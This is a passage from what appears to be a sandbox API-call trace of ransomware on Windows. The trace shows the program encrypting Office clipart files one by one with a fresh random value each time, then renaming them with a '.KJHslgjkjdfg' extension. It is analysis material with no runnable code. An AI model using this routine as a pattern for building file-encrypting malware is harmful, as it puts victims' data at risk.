hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.357] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.357] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.357] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.357] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.357] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x257c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x257c, lpOverlapped=0x0) returned 1 [0190.358] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2580, dwBufLen=0x2580 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2580) returned 1 [0190.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.358] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2580, lpOverlapped=0x0) returned 1 [0190.359] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.359] SetEndOfFile (hFile=0x130) returned 1 [0190.361] GetProcessHeap () returned 0x990000 [0190.361] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.361] GetProcessHeap () returned 0x990000 [0190.361] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.361] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.kjhslgjkjdfg")) returned 1 [0190.362] CloseHandle (hObject=0x130) returned 1 [0190.362] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1 [0190.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.362] GetProcessHeap () returned 0x990000 [0190.362] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.362] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.363] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.365] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.365] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.365] GetProcessHeap () returned 0x990000 [0190.365] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.365] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.365] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.365] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.365] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.365] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.365] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.365] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.365] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.366] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.366] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.366] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4278, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4278, lpOverlapped=0x0) returned 1 [0190.367] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4280, dwBufLen=0x4280 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4280) returned 1 [0190.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.367] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4280, lpOverlapped=0x0) returned 1 [0190.367] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.367] SetEndOfFile (hFile=0x130) returned 1 [0190.370] GetProcessHeap () returned 0x990000 [0190.370] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.370] GetProcessHeap () returned 0x990000 [0190.370] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.kjhslgjkjdfg")) returned 1 [0190.371] CloseHandle (hObject=0x130) returned 1 [0190.371] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1 [0190.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.372] GetProcessHeap () returned 0x990000 [0190.372] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.372] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.372] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.372] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0190.374] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.374] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.374] GetProcessHeap () returned 0x990000 [0190.374] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.374] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.374] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.374] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.375] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.375] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.375] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.375] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.375] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.375] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.375] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5516, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5516, lpOverlapped=0x0) returned 1 [0190.378] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5520, dwBufLen=0x5520 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5520) returned 1 [0190.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.378] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5520, lpOverlapped=0x0) returned 1 [0190.379] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.379] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x55f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.379] SetEndOfFile (hFile=0x130) returned 1 [0190.381] GetProcessHeap () returned 0x990000 [0190.382] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.382] GetProcessHeap () returned 0x990000 [0190.382] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.382] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.kjhslgjkjdfg")) returned 1 [0190.383] CloseHandle (hObject=0x130) returned 1 [0190.383] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1 [0190.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.384] GetProcessHeap () returned 0x990000 [0190.384] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.384] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.384] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.384] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0190.387] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.387] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.387] GetProcessHeap () returned 0x990000 [0190.387] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.387] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.387] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.387] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.388] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.388] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.388] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.388] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.388] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.388] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.388] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8a12, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8a12, lpOverlapped=0x0) returned 1 [0190.389] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8a20, dwBufLen=0x8a20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8a20) returned 1 [0190.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.390] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8a20, lpOverlapped=0x0) returned 1 [0190.390] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.390] SetEndOfFile (hFile=0x130) returned 1 [0190.393] GetProcessHeap () returned 0x990000 [0190.393] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.393] GetProcessHeap () returned 0x990000 [0190.393] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.kjhslgjkjdfg")) returned 1 [0190.395] CloseHandle (hObject=0x130) returned 1 [0190.395] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1 [0190.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.396] GetProcessHeap () returned 0x990000 [0190.396] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.396] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.396] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0190.398] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.398] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.398] GetProcessHeap () returned 0x990000 [0190.398] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.398] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.398] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.398] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.398] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.398] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.399] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.399] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.399] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.399] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x829a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x829a, lpOverlapped=0x0) returned 1 [0190.400] CryptEncrypt (in: 